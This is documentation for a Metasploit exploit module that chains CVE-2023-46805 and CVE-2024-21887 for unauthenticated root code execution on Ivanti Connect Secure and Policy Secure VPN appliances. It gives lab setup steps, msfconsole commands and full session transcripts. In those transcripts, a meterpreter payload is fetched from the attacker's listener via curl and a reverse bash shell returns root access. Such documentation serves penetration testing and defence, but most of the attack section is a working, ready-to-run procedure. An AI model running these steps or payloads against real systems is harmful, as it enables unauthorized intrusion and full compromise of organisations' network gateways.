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...entation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805.md
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## Vulnerable Application | ||
This module chains an authentication bypass vulnerability (CVE-2023-46805) and a command injection | ||
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti | ||
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and | ||
22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are | ||
also vulnerable. | ||
|
||
## Testing | ||
To test we used Ivanti Connect Secure version 22.3R1 (build 1647), deployed as a virtual appliance for HyperV. The | ||
below steps are for HyperV, but it should be very similar to install on VMWare. | ||
|
||
* Signup for a trial to download the file `ps-ics-hyper-v-isa-v-22.3r1.0-b1647-package.zip` | ||
* From this ZIP file, extract the file `ISA-V-HYPERV-ICS-22.3R1-1647.1-VT-hyperv.vhdx` | ||
* Create a new VM in HyperV and specify the VHDX file as the hard drives media. | ||
* Boot the VM and follow the console instructions to install the product. | ||
* After installation completes, you wil have created an admin account and password. You can log into the admin | ||
web interface by visiting https://<TARGET_IP_ADDRESS>/admin in your web browser if you want. | ||
|
||
## Verification Steps | ||
1. Start msfconsole | ||
2. `use exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805` | ||
3. `set RHOST <TARGET_IP_ADDRESS>` | ||
4. `set target 0` | ||
5. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp` | ||
6. `check` | ||
7. `exploit` | ||
|
||
## Scenarios | ||
To support a broad set of available payloads, we support both a Linux target and a Unix Target. This allows for native | ||
Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell. | ||
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||
### Linux Target | ||
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||
``` | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set RHOST 192.168.86.111 | ||
RHOST => 192.168.86.111 | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 0 | ||
target => 0 | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp | ||
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options | ||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 443 yes The target port (TCP) | ||
SSL true no Negotiate SSL/TLS for outgoing connections | ||
VHOST no HTTP server virtual host | ||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) | ||
FETCH_DELETE false yes Attempt to delete the binary after execution | ||
FETCH_FILENAME DbFmtsbLwkUU no Name to use on remote system when storing payload; cannot contain spaces. | ||
FETCH_SRVHOST no Local IP to use for serving payload | ||
FETCH_SRVPORT 8080 yes Local port to use for serving payload | ||
FETCH_URIPATH no Local URI to use for serving payload | ||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces. | ||
LHOST 192.168.86.42 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Linux Command | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check | ||
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647) | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit | ||
[*] Started reverse TCP handler on 192.168.86.42:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target is vulnerable. IVE-OS 22.3R1 (1647) | ||
[*] Sending stage (3045380 bytes) to 192.168.86.111 | ||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.111:27576) at 2024-01-17 10:16:52 +0000 | ||
meterpreter > getuid | ||
Server username: root | ||
meterpreter > sysinfo | ||
Computer : 192.168.86.111 | ||
OS : (Linux 4.15.18.34-production) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > cat /home/ssl-vpn-VERSION | ||
export DSREL_MAJOR=22 | ||
export DSREL_MINOR=3 | ||
export DSREL_MAINT=1 | ||
export DSREL_DATAVER=4802 | ||
export DSREL_PRODUCT=ssl-vpn | ||
export DSREL_DEPS=ive | ||
export DSREL_BUILDNUM=1647 | ||
export DSREL_COMMENT="R1" | ||
meterpreter > | ||
``` | ||
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||
### Unix Target | ||
|
||
``` | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 1 | ||
target => 1 | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/unix/reverse_bash | ||
PAYLOAD => cmd/unix/reverse_bash | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options | ||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 443 yes The target port (TCP) | ||
SSL true no Negotiate SSL/TLS for outgoing connections | ||
VHOST no HTTP server virtual host | ||
Payload options (cmd/unix/reverse_bash): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST 192.168.86.42 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
1 Unix Command | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check | ||
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647) | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit | ||
[*] Started reverse TCP handler on 192.168.86.42:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target is vulnerable. IVE-OS 22.3R1 (1647) | ||
[*] Command shell session 2 opened (192.168.86.42:4444 -> 192.168.86.111:27582) at 2024-01-17 10:19:19 +0000 | ||
id | ||
uid=0(root) gid=0(root) groups=0(root) | ||
uname -a | ||
Linux localhost2 4.15.18.34-production #1 SMP Fri Jun 17 13:08:47 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux | ||
pwd | ||
/data/var/cores | ||
cat /home/ssl-vpn-VERSION | ||
export DSREL_MAJOR=22 | ||
export DSREL_MINOR=3 | ||
export DSREL_MAINT=1 | ||
export DSREL_DATAVER=4802 | ||
export DSREL_PRODUCT=ssl-vpn | ||
export DSREL_DEPS=ive | ||
export DSREL_BUILDNUM=1647 | ||
export DSREL_COMMENT="R1" | ||
exit | ||
[*] 192.168.86.111 - Command shell session 2 closed. | ||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > | ||
``` |